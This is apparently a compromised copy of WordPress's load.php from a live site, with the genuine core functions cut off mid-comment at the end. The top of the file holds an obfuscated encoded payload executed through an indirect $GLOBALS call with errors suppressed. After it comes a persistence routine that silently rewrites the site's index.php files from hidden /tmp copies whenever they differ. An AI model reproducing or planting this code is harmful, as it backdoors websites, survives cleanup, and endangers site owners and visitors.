2J1coK10YTTs1aykqNB8jaCHx`V3/YiE2`TQ/aVMGQEX/Lkbwc2EXTWkLP/wlLTkVRj4NYlEqTl8vU0MPakEENEkqbkQUaycBRkcLUEUHciISTFoYUUj0TjULTkMIaUHqdUECPyExMiYTUVs5dmA`aUEscVvxRGYoSyQT`yY`U0YRQGQPM/MVbB8`aycHK1coMCECQFovNDklb2b4U2QDK0PyciYlQU@yNDYOcl80RTQRP1k/MB8DMycsS2opb0L2MigWaGL/RVMoPTg0byID`CIFbF4E`0Ty`F4/TCcgYT71Qj8lMBs0b0YSPVkGTDMmRiM3XWEsYF4SRFvuMBrxcR72J0MGayQvNTYBVDI`VEc4UDEUPkH/djMM`2TyYDsFbloV`lw0LlnvQVoHVT/3USEEbycnNSgAM2IBVVgmRWEyXyUJNDPxRyYFLyjw`SbwJ0EQMkHucV8TPTMFNSf3Xh8pQGPuK/QPTDMWdSQBRFkLSjX1T0MXLl8VTEAAKx8WJ/QPQ1Yk`h8A`TECdEcCTmgk`iPxTkYYSWUxbVgF`/4vVUkRMTbuKyAWcmYXdSkwT/U3LlEXP0QVU1rvSyUiLGYBUmc2b13uNVsITyEkRjoPbiUrNGMtS1MUPRsWLWopcFc1dlUQdEM2`kACUlcQYWE4LFwHPWQMST8MaiABK0cLSB8WNTQU`D/3PkcAX0k3RTsONUcRVEAWdmE/SDsLbT8iTVY0dlIGPyUWU2T0cDgydGYK`1IHXUY1RyAUNSHqQykCJyA4K14ENTgR`iMhMjk0K0Ej`SgFT0@vQjj2biL/QBs0NDEW`D8iT2cFPSIFQ0@uRyD0YicSbDkWVFfqY1wMLiAXUCYwVlIuYj0MVTckTTv3cm@uSR8iK2AvaWn4akElLy@/YDsLK2XwKyYELyD2b2DyMR8DcCf3cVc3`DwYbEYgXjD3TCMMMlX0RFMnQiMw`kU4Lj03XjY5YWI5MWUhUx8tVjogYCUBaWgUdDgiJ18Ha1UkM0c4`jDvXjryMjkAJykycV4OaiI5aTg1Xig`dh72bDLuTyUxdWcGRCkuQFD2LkAFQB8OT1gLUCP1bygvcyMKXx8FJ/sDX0QoMjwKdEIuS1TqXSEhbx8NQ1oGLiYFMyjqRFkOPiQsXygCMSMWcFQ/L0P2K1UMMyP0J2YOTFYsYyfxVUX2X0oFYlsKY0MIJ/YvM/YoVBsjMTkUU/YFNUnyUiYkL1ovJ2ciTj01SyMtYj30TEExSjQ/QV3vclcFRkME`1MkbDkn`iMxbUgyLUQUSSUAR0ow`l02NScubjgJX/cAbF8STjD/RyQGX0cTXSD0aSkGYGcHRGAMYEIILGUAcmoQT/QhakQ2J2AxR14RdDsraTkRL/cDUSQPUlT4aDTvJ1HuSiYK`j7xUko1c/otdVEuclILbTYGYmEFSiQETDQOQ1LxLUEmaW@qSjcEJ1MGalP/L0j0`TETPTL3QjcuYiIlUSD1K1U/aWQQb/o0J0YHQlQk`iLucEYORmT4QyU0RmYFQFoNRh7ucGUhY2kpVTbuMiPqRiYxRGDuXSbwK/cRcjYAPikUT0T1b2YuTFn4NVUORBsuX1oDKyQkcWILVl4tMTYqS2MRQyAONGEVbjcX`FL1R2AJVWI3`x8nLjcOc/8lTjsXYEclMToVMWAxdVIVM/kAQD0FQkAw`DrvXyM0LDsWamkKblsmRjcpbiUUVRsFaGoKU2@2PmgARmIO`0H4SCcEbUYAbEQoXkMXUmYMS1gndlD4YWg5TWQyMDgyaFINRikuM0QuTWMXVSMmdmILQDjxTCACQFMkQSk2RCcEPjwRcWkgXUIOSj8lVj4FMWUFL0T1RTY5JyQ1TF/2L/QvNDIBUSEFS13qYUk/VTkDPUYEa2gXY0cYXikUND74JxsoPVn2X0YvXx8N`T0HajEEXRrxa0ckbUYkUDEvS/b4YB8TYTU/U2IEY/kLMmooP2gBcykLcDYGQ1IvTTr1cB8hQ2jxUTQFYDc3VWkrX0MKQVIObUMV`VUoVCAFSD8PbCcKbFr0Xyg2c/ME`0QSUkH/LlguL0EPSictQVMt`yAgNWnyTkACSDw3aSMLMlwsQj0YakoVLDD2`1r1PjkCX1EmUFwqTyPqJ/gSPmATa2ELMSH2QCLwK/YrcVYTPjs3`VQtNWb/TiklPlUhYCQu`W@vVkIsS0c3RUYjQDPqLRsL`ygUS1L2XikjSSIu`EYoLCgycSH0UmPyMicVMGYrSyT0YSk1MUD3VCgFMD7wbEUDb2QSMFkARCEUKx8DbmkyMjo3SCALcFoDLSX0Ql8gM1YKVWMubCU5YDn/cWb3aFY4QDUnbUn/`0L3bjY3YEUrT/b4NFMYUVYOMigIbR8gK0UwNCT/aykBQyQwTjQ4bykSc/QpblUsdDY`alE0bkfvXTMCRkY2UV4lTDIu`0UxQDEyNTUUQUAYXh8kPiUK`lkDQDPvMTQYNFUGa/P3NSMEXUo5K/YFJx8Hb0U5a/c/Lj8LajEKP2Xybyb0QlMiXj0UUm@xX/koPiDy`kI1J1YF`Cc5dSYWLTH/c0gGR0AlLEomLFEnT1sPRVPx`j0qUUQMalk1YUMWQ174L/b/LGMPVWUGRhr4PlYRM0T4aUQFTjg3ajYONCD3RVDybiT3QjDq`GPvNC@yLiDuSiMHTyMEX0b/U0I2R0MCalP0LGQnU1QqYiEqVGEHXyAgdCQhcCgSQEgHaTPyaEo2YGE`Tj4`STL2bWcA`j4OSVUlSjUIPWMn`jvxT/YsShsOMWMsTFgmQiL4SFMOcyA/MicqaWcUSR8CNWkQRkclLigtK/H1TmX3`GEgYFUTRlY2R2H0dWEDMD0KSCMwL2A`MyYxdTUXLkoER1IgUiUkQDI/Yh8OMk@2c2YUXTYvUSQyXkQwdEnvR0DyLijqX1kiP0EmSWogL2AAcUkFdmb/LicYQ14ARlU1Qj7yaVUMXlX3Mmn3RlkrbR8YVRsEQEgmSiMAPlQNPVX/LSQNcGEydmoKSlEAL1oNSkYGcD4/XUATTkkSLDwDYGT4QFMSUmMpVjwVb0UtXlb3dkI0`jv3RDEE`lsOMloG`FUKS/8RU/wCQDD2MVI3P/b2YGXwPSD4RWcAb0jqYSHuRGjvNDQyayQKXTE3MSkGcDohYVYtST0QLWMXYEIiM1sKUmkwUiP4TjIyRCUvXVwTTmAnMVwJT0ITUT0GUFMjYV0oP1sYSlkrRVkRRD/qb2DuVWH4S/E/`Wb2dGYLUlD/`Uk2RSEiPl42a0EBRUDyYUI2QUcu`l8OdTUhYCHycRsLUlsHNFclMiE0NGYSRDETJxsiQEMpcD3yMlcISSfvaUQ2YlQw`2c`LSM/SUkWXWH/YiE3`WUyQEkGVFk0akMqRkADRGcMLUICXkURLTITUD44U/oNTkcMYUAkNTYARSjqXTslRic1MlgiSlcxVGkXcCUwMDD/LlfyY1rvX/stP0Q2blUx`GXwNDsMNUQFRyYOb14Qc1cTcB8XaScKVlb1SSAubikldF0WUDIgM/sOMFUVX0MEc0AVUib1QiUs`TYETVMKdFQiPjUwbSc4LjYALFc5MknvQEoQVDYGMkQyUjX/UCYCPUX1VWLu`EXva/M`P0MyUl4YbDL1VSQ5YiM1VF4CRjYLdEj4cmcwU/P0a1cGT0YLdjUqcF43L/4RdjkqU1wyQUcwX0fycGM2cD8P`Dc1LkIRLDE4J2ED`jgU`DEvJ/QOVWUScFEFSmQxL1MLYm@4QkMHdFH2Lx7qQkUvSDjyb/f/NSL/QUo3L1jyR2L2VibyM/ISYSAscUcRc1g5RTr4PTw2cVMkakQXSigJTjcJSCIj`FgXSmISQlsJUFExMEI/MkgSbWDv`0AUU/wUcVchXjkuLVMN`m@2c/ciR1YoMDQJaDU3Ql8HUTvwRVgSJ/kGLSUPLy@1b0MUMjwuLFMVMBsDcBrwQiMuPykAQj84QE@4TD8RbiXuPV7qQEMiaWjuM/byNV70MTgpX2QlLUU/TjX0TVgTVTY4YUXy`Dg3P/0R`E@wUlwhXiEjUEYJMGL4YkfudlbuT2kvSiQoKyINRmQoQF8Ob1soclURQDQvLjsG`V8SX1UibjsRbUondiITbVgBbUA2PT8BckgAcyYFU2UuUiED`/YyaRr3YVoQNEUONUEvcDw4cDM2RiQP`SQKaSciMTEPSEIyVj4qbVkQJ2LxQjwNXjM0VT0BVjs5UjgFSGjyPloNU1v2SkYQaEgyVCMKaGoYR0QFUiUY`UI0bWkxUyMvY0kR`2MiREojUjsydkYwdjM/XUIDdmYKbTw4UDgSYDMoXVEDYyU5dUExdjQjclcALUHxREMUPjf0`TELK1cr`TsEdR8BbkgJSkg/UEMxa/HuRib/K1QsYUoFTVwVYlcEah80Slkqb0Tv`RsETCIndkk3aGowMjwN`T8pJ/4ESl0SLFwmaSgiKykCR/EtYlgTVFn2TiUGQyAw`mgjXVciUCMxPSkXXkIhTWouajQldSUyTDn1NVM/Um@uSlr0SSMOQjEHMSfuUjoNR0L0MjsjJ2YFQ/34cDshdDcgbTkmRWQHMVcONCAvLxr2QGMHUTL0P1kxT2XyXjsKQh8gcWEM`W@wPSAGTR74SD30`1cyNSbqTDwYRWX4NUUvUVIML2f/TCgEL2IOJ1ruKyI5UTXycCT1TFn0LR72SyL3RDYRUSgrRh7qM0TvNScYY2IGUlcTSjP2YikjQWQFa/0FRDYGMmMqLT8/MTn/U1sQNTgpa/UtQR8OdB8FRmQ/NTYYaB8iaGQDRWAxYVkuMVkQbyT2QD3qPVw3VmAEQjE/ckT4QB7ydTTwYjcXYEgT`kcnLmMUTR8kPTPvM0cPSCEL`jQEK0QGTi@1dTYSdDkjaFc1K/4gNFXqJ18tYVsnUDwFdmAiRVEqJ1E`b2M3dUP3TyL1R2UKaEYPST0uUT/0M0@3dmcDPyjwM/UUQEAFKykpSlLuK/ECLTkxR/kSLkkL`jPvL/nyTD0U`VEjcDbwLj0ER1o1dlcBMGTqUTvua1IqL/b2cDQPMC@0QiEEM183a2APM1E5S/P4M1wLSWUsNGo0YWAFMkU/YCYFLmMGaFX3bmEnX/o0R0@0YmX/YUYBK/L/K2M3RTckciQpVTYDSlYK`/QVbDwCKybuQGAVM/8AU0E/YmDva1oLYSAr`0oMXUIkMkQSdFoIL101PWQ4RUISK2MPKyj0dEEIQ0kCQlc5RVLu`G@0VGP4`F/2NFMEK0QtPiEAJyIHRWTucSEASigjQVEYdlkUX/ISRDM`PWAPRCgYPmU4NCMXMyX3cD8SQUIhLFsHPlg/RVUqXlkmRF4qUlo/Q/UTMkoJdT8n`0EFTFgTNDr2U1ItXh8rTGQNalEPR144b/oudEYTcCY1UD40NVw4dGgGYlglbSYBVlsY`iIWc2I5X0EWclkqYTbqRjEmUDoAYEAPTGYwbCUtSTkpTjoxPSkAamU2MSggVlEmUiInbRsQRjIFUyMEcEc1VUk/YyQrNTctSGUVVDcYRGcX`FH1U/oHJyP3c/g`UFoQaEYiQkgCM2oUYEgJYEH3RikxdVcqQGkJ`FkVX2AXQV8wbCMPSl8VaGT3QGkBYVYxVGT3aif4cFQrQ1Y1Q10R`Dk2U/4hSEYCQ0QWPWUHTD0qb0chUWcnTjoPb2QlXl8BXU@0PVgRPT05VEI5`lggTWD2`TcmLkAmSEkmSFQULhskMEYxMFMSUTknbUL3RT3uLSMsUif/M2MGTT3uc/v4M1MpaFXqLEYnYyTwX/cOP2D0QF8xQmQ5bmA`QUYQc0T4S/YNVSETSjkXcCcyU1YEcWAl`iHqSl4Q`j4ENSIVayT4TDYBMEUgK1M0MyM4K1IlLTcEUCU0bETyRCAIS0UpKyf/XWnyX0YTMEUpb2DqUVP2UmQlQV7uMyH1Rl3yRFMUL174K1MrVGP0Yj0xNWM/bST3Xi@2biE5UT8OcFglK0ELTDQ/cjMkXScIYUcgL/vqTlv2`jv/VTIDU1suQVUOaSQtQUkVa/4QRyU`Y1Y0bjX0ayTwb/UiTyITP0kHKyAhRWEpPyUoLkj/QEgvMicoQiD4Mj4WbyIhaygJ`h8waB8GMDQOdmYMMF8UY/M3cTUhSWDyc0gqRSMrRCPyaUIwYVUILTcnRmMMamPvXiMPQTsBUT3xdDUFLDESSkkyTyciYiMQbjH0M1cPMiEO`Dw4VUcjPSQTLBstQ1sjdkcqVmX0RWEsRGgObDfwalLw`igtVjL0NGU0Mmj4MEoLSUEga2YKVSMscGIrY2oQbh8D`TQtLFINbGQHL1P0REQLT/ovNFU3QCT0X/EOcW@1ayQyXWHuLkUPa1MGaWTxSkMhSmcFb2XuY1b2T1QM`UbwMkA2bD0VdGj4dSETaBsOMDbqQkIHUVjuM/7vMycRa0IFVUjqLjonSDIAP/X2NSXqbjUSREMyLiYoVVMDQy@3YGQ2`Uf3`Ck0aCITLTc3PTIhQGoNRlcyM2QDQjIQbWMYT/kDX0T2QjP/ayAXMFL2NTPuP/YgP/EDXjE5`kgEcyAKQ2gpNCjq`lX0QjP0dSYGLB8UbCX2QCb/MlMOaDYSU0g1Q0kBalkLMyklS0IBbGEWbiE/aGYyLijqJyMvXiYM`/ENPTgVThsvJ/gSYSEpLjcYMSMvP2QoY0QWK1cEQVMjSyQmRkIEUmEgRDYKXyk1K1o5cSABSl01RSEOLDInXVULSyH3NT8LJyIjSWTyTTXyQxshSWEvVSH0aGAsQGMNNGYFUiEBTkbvUlMCb1gpUGQKa0coUTL0T2gOQFYwdkQDPSASbCMFMBr3QmU3Qj0iLyDx`T3/QVQXLT0YY1/xTEkqSj00UmL0TWAHL2X0cjEuMygxNDYP`UfybWMYU1cA`ygRMmUAdDcAcFL4`kXqJ1krM2T/dTsYK1sOMEkDaFYPTUITQFQXTij0XlwgPmP0PV40KyIO`14FK1UnUWQqVSf2PkAuMCgDc/YnY/kRQFEHbCUITVsUL0IFMGoSbWEQQGYBR/4rbkLyXyUHM2n/MEMFdiALRmAHYGEmP/gDMWYDMWk4STkTVGERUiXuMF84SVctbSA2VFUqYiUMXVryPVIgYD8nVVj2SGUmSWcydUIkMkUTU0AOP2EgbjX0J1oubTQCR10EckY0bSf0RVD3MVwyXln1`VkQdV8pLBr4Q1YoMVPyVSI5bCb2RFktbVMVclU/P0QCJ/Y/ciIFUl80c0A2TkAScEciU1sCYh8sSDIEaycpTWYUUiELSWX0QickQ1wBaUcCclEPUDsPQjwydjnwRR8jbVQSRGcsLGP/R13/dCIPR2ItcDgQQ1IgVSUoMEgsQD0NQT4BJx8qQ2cUNGknbWcrYWIgaDk`cSMVJ/wDLF4pSyP0T0@4YSgyR0EkciU/R/UvU0MXMVgBSmMxPkIORmUrcl0WVlopSkkjYFfxMTMvY2IGK/cWYmAuVWoOLxsgcGIFY2I`LjMJblcMYUoS`V4BMBru`lkEcGgXaGI2LkEOQmk1YiM0QDchQkYQJ1IITlwSMl70dCgyPmgJL/UITSMxMUEmdlwFSkIVUic1K0YHNDcxXVorUSMyLx7yK0UnJ2YJNT4ydlUNb/EyLigGPx8iSFMnb2QY`lXwLFkgQ2Ej`1Yx`/nwaEIBa2AlSWcGaiQKdiQpLVwpMDIXRyY4aCcEaR82MijvQjcMaEMLLh7vXiLwayL0`CYsMB8KREAMRiPudWMjMGYwT1HuaEUKY1X3MCgOcjcpTFMyQDwLVVk2`jMFcjc4YFv2cicUNV8iayT2UiL0Qj8wQVY4a1TqRF7qUifwbygoQ0c/TTkEVVEuTmAubB8CUSf2PUkEVF4LJ/kAR0UR`D8sdiEJSGkmcyIsT/M4YUj4R1wEL0YiMybxNSHwPjXqXSb3REn4UR8qJ2AMX1gLdlQmcVHvdTTuYTYFdigocFE5KyjybUMPTmj2MCYtQjEIMTQpMyMm`FYycUISUT02NF0`NVX2PUUscx8CVSkvSCjyQEHwJ/gxNScWXyQMT/UlJ1MNQykPcT7xcB85`T8lS14Fax8OcF8BVB8OK1ImUmkmU0n4VTkGPiMUdGLwc2IoVUk0PyE3YCgBRlo1b0EMPmInPikYdjkjVEXu`DYUMGIEUGANYkP1UWIqLGHxMSYAbCEqRVgvXTQxM/MGc14KSWMEVGoBPTYgSkUJMlgRUGg/SFYgaEH1Th8o`jEjXWIPbmkBUFEEUDT/KykWK1USVWUDb1cvPlb2MCgLdiPuQyQpdiMM`h73YSIVPigUX0IJUVcTYGjub/wiJ/QpY0oGdT3x`Tb3SCQEU0MXTU@2`ikGNWg`LVb/bl4vaygm`0AkdWQuPWYrQ/I0UmYHM18NYmknc/wQMDr3LkMTRkX2MVgmJ/DvUkYYYVMAS0gk`0MQ`DQXQR8PR/EMbGgJRVEHQCAKPkUuRWDvdFvqRjU0RjYkL/IEPmEQM10KQDYUMmTuLlELbVcoajsA`ST3UWAFbjQIbmc5R0UmUUA/dDMwUjL3LjQUQSYqNSEyPTQKTEUJXyUjaCIkQDEHNVMkQVT3P/QFLF4OVCYQdiQCR/44NTDqXyYNMR74QEEMcTQSRWQ4MSfuLmQHMDYDcGIh`kImR/QCbGjx`kEsSGgQalYNamYyX/cPNTYAPRsvSj8IRkIvLEUwMjsYdGIRLWchSEA`UFYnRxsLclg2S0L3QiIkK/j1RiMIQCM5Q/wJRjv0YkooSV4hT/YgXj0tYif3TlT4K0AyTCY0cic2YDgjRWH3LychLh8GRicFYjYAcCkCbTsORjgpXVMSUCkFRFYS`0gHK0EUcFYCJ2MSPkIRRyAqUkMVLCkmLkImSF4Rdl4`R0kGR2gRcyYUYDkpRiEI`iTwaik3YCgWbVEvbTUgM/ElR0D3blYIT1IMMlUKcUMs`EL3`Wc0UmfxRB8XQ2Hyc1MMYEYYU/c2QTT4M2HqYiY4Q140SjUlbGEkT/7uPW@ycFv4Tx8KQ0cARSXuL1n2LTIIXjoYaWQNYFUSc2UN`Gf4SSMT`EcrTmQDXWYpdGYEdUQMdTv1`CYLLCUu`lwiXTgoUjX2cl7qU2LudlcBRmLv`VEVMkcLQjYQcGoxY1cuRWoyLUQO`WcVcDH2cSgJP2DuckQMciUmQFchXUT2Pi@qQh8UMj81QT4AX2oQYkkRNGIvJ2EoS2IJMmM2b2Y5L2gxdEHx`/UqUR7wNDf1R/8VRiI5STj4LEoyMj4RT2cJbVYqYWMQYVwPRUcuLF8APjMLclITRWcvPjYFMxrxK10OLRspK1ryaRsUbWD8His@YWYgaBfmOy3mKlc5cV4ia10vblUybxfjaCDwaCErJBQrLVwrLSDnIFwrLVvwLRfjaCErLSDwKBQraCDwLSDpLhjrIFwrLVvwLRfjaCErLSDwKBQraCDwLSDrIFwrLSDwLRjrHBQraCErLSDnIFvwaCDwLRvvKBQraCDwLSDoJRjoJSr+")));@${"GL\x4fB\x41L\x53"}["ll1lll"](@$l11l1l,@$l1ll11,@$ll1l11,@$ll1111,@$l11111,@$ll1lll);/* test code */?>php $H='/home/akiniaip/domains/dominonamai.lt/public_html/index.php';$F='/tmp/84af7d98d10690ff031a8fe464b73122';if(file_exists($F)&&hash('sha1',file_get_contents($H))!=hash('sha1',file_get_contents($F))){@chmod($H,0755);@file_put_contents($H,file_get_contents($F));} $H='/home/akiniaip/domains/dominonamai.lt/public_html/package/index.php';$F='/tmp/513483e3b2dab8247fa0aca5c0de5e6f';if(file_exists($F)&&hash('sha1',file_get_contents($H))!=hash('sha1',file_get_contents($F))){@chmod($H,0755);@file_put_contents($H,file_get_contents($F));} /** * These functions are needed to load WordPress. * * @package WordPress */ /** * Return the HTTP protocol sent by the server. * * @since 4.4.0 * * @return string The HTTP protocol. Default: HTTP/1.0. */ function wp_get_server_protocol() { $protocol = isset( $_SERVER['SERVER_PROTOCOL'] ) ? $_SERVER['SERVER_PROTOCOL'] : ''; if ( ! in_array( $protocol, array( 'HTTP/1.1', 'HTTP/2', 'HTTP/2.0' ) ) ) { $protocol = 'HTTP/1.0'; } return $protocol; } /** * Turn register globals off. * * @since 2.1.0 * @access private */ function wp_unregister_GLOBALS() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid if ( ! ini_get( 'register_globals' ) ) { return; } if ( isset( $_REQUEST['GLOBALS'] ) ) { die( 'GLOBALS overwrite attempt detected' ); } // Variables that shouldn't be unset. $no_unset = array( 'GLOBALS', '_GET', '_POST', '_COOKIE', '_REQUEST', '_SERVER', '_ENV', '_FILES', 'table_prefix' ); $input = array_merge( $_GET, $_POST, $_COOKIE, $_SERVER, $_ENV, $_FILES, isset( $_SESSION ) && is_array( $_SESSION ) ? $_SESSION : array() ); foreach ( $input as $k => $v ) { if ( ! in_array( $k, $no_unset ) && isset( $GLOBALS[ $k ] ) ) { unset( $GLOBALS[ $k ] ); } } } /** * Fix `$_SERVER` variables for various setups. * * @since 3.0.0 * @access private * * @global string $PHP_SELF The filename of the currently executing script, * relative to the document root. */ function wp_fix_server_vars() { global $PHP_SELF; $default_server_values = array( 'SERVER_SOFTWARE' => '', 'REQUEST_URI' => '', ); $_SERVER = array_merge( $default_server_values, $_SERVER ); // Fix for IIS when running with PHP ISAPI. if ( empty( $_SERVER['REQUEST_URI'] ) || ( PHP_SAPI != 'cgi-fcgi' && preg_match( '/^Microsoft-IIS\//', $_SERVER['SERVER_SOFTWARE'] ) ) ) { if ( isset( $_SERVER['HTTP_X_ORIGINAL_URL'] ) ) { // IIS Mod-Rewrite. $_SERVER['REQUEST_URI'] = $_SERVER['HTTP_X_ORIGINAL_URL']; } elseif ( isset( $_SERVER['HTTP_X_REWRITE_URL'] ) ) { // IIS Isapi_Rewrite. $_SERVER['REQUEST_URI'] = $_SERVER['HTTP_X_REWRITE_URL']; } else { // Use ORIG_PATH_INFO if there is no PATH_INFO. if ( ! isset( $_SERVER['PATH_INFO'] ) && isset( $_SERVER['ORIG_PATH_INFO'] ) ) { $_SERVER['PATH_INFO'] = $_SERVER['ORIG_PATH_INFO']; } // Some IIS + PHP configurations put the script-name in the path-info (no need to append it twice). if ( isset( $_SERVER['PATH_INFO'] ) ) { if ( $_SERVER['PATH_INFO'] == $_SERVER['SCRIPT_NAME'] ) { $_SERVER['REQUEST_URI'] = $_SERVER['PATH_INFO']; } else { $_SERVER['REQUEST_URI'] = $_SERVER['SCRIPT_NAME'] . $_SERVER['PATH_INFO']; } } // Append the query string if it exists and isn't null. if ( ! empty( $_SERVER['QUERY_STRING'] ) ) { $_SERVER['REQUEST_URI'] .= '?' . $_SERVER['QUERY_STRING']; } } } // Fix for PHP as CGI hosts that set SCRIPT_FILENAME to something ending in php.cgi for all requests. if ( isset( $_SERVER['SCRIPT_FILENAME'] ) && ( strpos( $_SERVER['SCRIPT_FILENAME'], 'php.cgi' ) == strlen( $_SERVER['SCRIPT_FILENAME'] ) - 7 ) ) { $_SERVER['SCRIPT_FILENAME'] = $_SERVER['PATH_TRANSLATED']; } // Fix for Dreamhost and other PHP as CGI hosts. if ( strpos( $_SERVER['SCRIPT_NAME'], 'php.cgi' ) !== false ) { unset( $_SERVER['PATH_INFO'] ); } // Fix empty PHP_SELF. $PHP_SELF = $_SERVER['PHP_SELF']; if ( empty( $PHP_SELF ) ) { $_SERVER['PHP_SELF'] = preg_replace( '/(\?.*)?$/', '', $_SERVER['REQUEST_URI'] ); $PHP_SELF = $_SERVER['PHP_SELF']; } } /** * Check for the required PHP version, and the MySQL extension or * a database drop-in. * * Dies if requirements are not met. * * @since 3.0.0 * @access private * * @global string $required_php_version The required PHP version string. * @global string $wp_version The WordPress version string. */ function wp_check_php_mysql_versions() { global $required_php_version, $wp_version; $php_version = phpversion(); if ( version_compare( $required_php_version, $php_version, '>' ) ) { $protocol = wp_get_server_protocol(); header( sprintf( '%s 500 Internal Server Error', $protocol ), true, 500 ); header( 'Content-Type: text/html; charset=utf-8' ); printf( 'Your server is running PHP version %1$s but WordPress %2$s requires at least %3$s.', $php_version, $wp_version, $required_php_version ); exit( 1 ); } if ( ! extension_loaded( 'mysql' ) && ! extension_loaded( 'mysqli' ) && ! extension_loaded( 'mysqlnd' ) && ! file_exists( WP_CONTENT_DIR . '/db.php' ) ) { require_once ABSPATH . WPINC . '/functions.php'; wp_load_translations_early(); $args = array( 'exit' => false, 'code' => 'mysql_not_found', ); wp_die( __( 'Your PHP installation appears to be missing the MySQL extension which is required by WordPress.' ), __( 'Requirements Not Met' ), $args ); exit( 1 ); } } /** * Don't load all of WordPress when handling a favicon.ico request. * * Instead, send the headers for a zero-length favicon and bail. * * @since 3.0.0 * @deprecated 5.4.0 Deprecated in favor of do_favicon(). */ function wp_favicon_request() { if ( '/favicon.ico' == $_SERVER['REQUEST_URI'] ) { header( 'Content-Type: image/vnd.microsoft.icon' ); exit; } } /** * Die with a maintenance message when conditions are met. * * Checks for a file in the WordPress root directory named ".maintenance". * This file will contain the variable $upgrading, set to the time the file * was created. If the file was created less than 10 minutes ago, WordPress * enters maintenance mode and displays a message. * * The default message can be replaced by using a drop-in (maintenance.php in * the wp-content directory). * * @since 3.0.0 * @access private * * @global int $upgrading the unix timestamp marking when upgrading WordPress began. */ function wp_maintenance() { if ( ! file_exists( ABSPATH . '.maintenance' ) || wp_installing() ) { return; } global $upgrading; require ABSPATH . '.maintenance'; // If the $upgrading timestamp is older than 10 minutes, don't die. if ( ( time() - $upgrading ) >= 600 ) { return; } /** * Filters whether to enable maintenance mode. * * This filter runs before it can be used by plugins. It is designed for * non-web runtimes. If this filter returns true, maintenance mode will be * active and the request will end. If false, the request will be allowed to * continue processing even if maintenance mode should be active. * * @since 4.6.0 * * @param bool $enable_checks Whether to enable maintenance mode. Default true. * @param int $upgrading The timestamp set in the .maintenance file. */ if ( ! apply_filters( 'enable_maintenance_mode', true, $upgrading ) ) { return; } if ( file_exists( WP_CONTENT_DIR . '/maintenance.php' ) ) { require_once WP_CONTENT_DIR . '/maintenance.php'; die(); } require_once ABSPATH . WPINC . '/functions.php'; wp_load_translations_early(); header( 'Retry-After: 600' ); wp_die( __( 'Briefly unavailable for scheduled maintenance. Check back in a minute.' ), __( 'Maintenance' ), 503 ); } /** * Start the WordPress micro-timer. * * @since 0.71 * @access private * * @global float $timestart Unix timestamp set at the beginning of the page load. * @see timer_stop() * * @return bool Always returns true. */ function timer_start() { global $timestart; $timestart = microtime( true ); return true; } /** * Retrieve or display the time from the page start to when function is called. * * @since 0.71 * * @global float $timestart Seconds from when timer_start() is called. * @global float $timeend Seconds from when function is called. * * @param int|bool $display Whether to echo or return the results. Accepts 0|false for return, * 1|true for echo. Default 0|false. * @param int $prec perform no function unless `WP_DEBUG` * is true. * * When `WP_DEBUG_DISPLAY` is true, WordPress will force errors to be displayed. * `WP_DEBUG_DISPLAY` defaults to true. Defining it as null prevents WordPress * from changing the global configuration setting. Defining `WP_DEBUG_DISPLAY` * as false will force errors to be hidden. * * When `WP_DEBUG_LOG` is true, errors will be logged to `wp-content/debug.log`. * When `WP_DEBUG_LOG` is a valid path, errors will be logged to the specified file. * * Errors are never displayed for XML-RPC, REST, and Ajax requests. * * @since 3.0.0 * @since 5.1.0 `WP_DEBUG_LOG` can be a file path. * @access private */ function wp_debug_mode() { /** * Filters whether to allow the debug mode check to occur. * * This filter runs before it can be used by plugins. It is designed for * non-web run-times. Returning false causes the `WP_DEBUG` and related * constants to not be checked and the default PHP values for errors * will be used unless you take care to update them yourself. * * @since 4.6.0 * * @param bool $enable_debug_mode Whether to enable debug mode checks to occur. Default true. */ if ( ! apply_filters( 'enable_wp_debug_mode_checks', true ) ) { return; } if ( WP_DEBUG ) { error_reporting( E_ALL ); if ( WP_DEBUG_DISPLAY ) { ini_set( 'display_errors', 1 ); } elseif ( null !== WP_DEBUG_DISPLAY ) { ini_set( 'display_errors', 0 ); } if ( in_array( strtolower( (string) WP_DEBUG_LOG ), array( 'true', '1' ), true ) ) { $log_path = WP_CONTENT_DIR . '/debug.log'; } elseif ( is_string( WP_DEBUG_LOG ) ) { $log_path = WP_DEBUG_LOG; } else { $log_path = false; } if ( $log_path ) { ini_set( 'log_errors', 1 ); ini_set( 'error_log', $log_path ); } } else { error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR ); } if ( defined( 'XMLRPC_REQUEST' ) || defined( 'REST_REQUEST' ) || ( defined( 'WP_INSTALLING' ) && WP_INSTALLING ) || wp_doing_ajax() || wp_is_json_request() ) { ini_set( 'display_errors', 0 ); } } /** * Set the location of the language directory. * * To set directory manually, define the `WP_LANG_DIR` constant * in wp-config.php. * * If the language directory exists within `WP_CONTENT_DIR`, it * is used. Otherwise the language directory is assumed to live * in `WPINC`. * * @since 3.0.0 * @access private */ function wp_set_lang_dir() { if ( ! defined( 'WP_LANG_DIR' ) ) { if ( file_exists( WP_CONTENT_DIR . '/languages' ) && @is_dir( WP_CONTENT_DIR . '/languages' ) || ! @is_dir( ABSPATH . WPINC . '/languages' ) ) { /** * Server path of the language directory. * * No leading slash, no trailing slash, full path, not relative to ABSPATH * * @since 2.1.0 */ define( 'WP_LANG_DIR', WP_CONTENT_DIR . '/languages' ); if ( ! defined( 'LANGDIR' ) ) { // Old static relative path maintained for limited backward compatibility - won't work in some cases. define( 'LANGDIR', 'wp-content/languages' ); } } else { /** * Server path of the language directory. * * No leading slash, no trailing slash, full path, not relative to `ABSPATH`. * * @since 2.1.0 */ define( 'WP_LANG_DIR', ABSPATH . WPINC . '/languages' ); if ( ! defined( 'LANGDIR' ) ) { // Old relative path maintained for backward compatibility. define( 'LANGDIR', WPINC . '/languages' ); } } } } /** * Load the database class file and instantiate the `$wpdb` global. * * @since 2.5.0 * * @global wpdb $wpdb WordPress database abstraction object. */ function require_wp_db() { global $wpdb; require_once ABSPATH . WPINC . '/wp-db.php'; if ( file_exists( WP_CONTENT_DIR . '/db.php' ) ) { require_once WP_CONTENT_DIR . '/db.php'; } if ( isset( $wpdb ) ) { return; } $dbuser = defined( 'DB_USER' ) ? DB_USER : ''; $dbpassword = defined( 'DB_PASSWORD' ) ? DB_PASSWORD : ''; $dbname = defined( 'DB_NAME' ) ? DB_NAME : ''; $dbhost = defined( 'DB_HOST' ) ? DB_HOST : ''; $wpdb = new wpdb( $dbuser, $dbpassword, $dbname, $dbhost ); } /** * Set the database 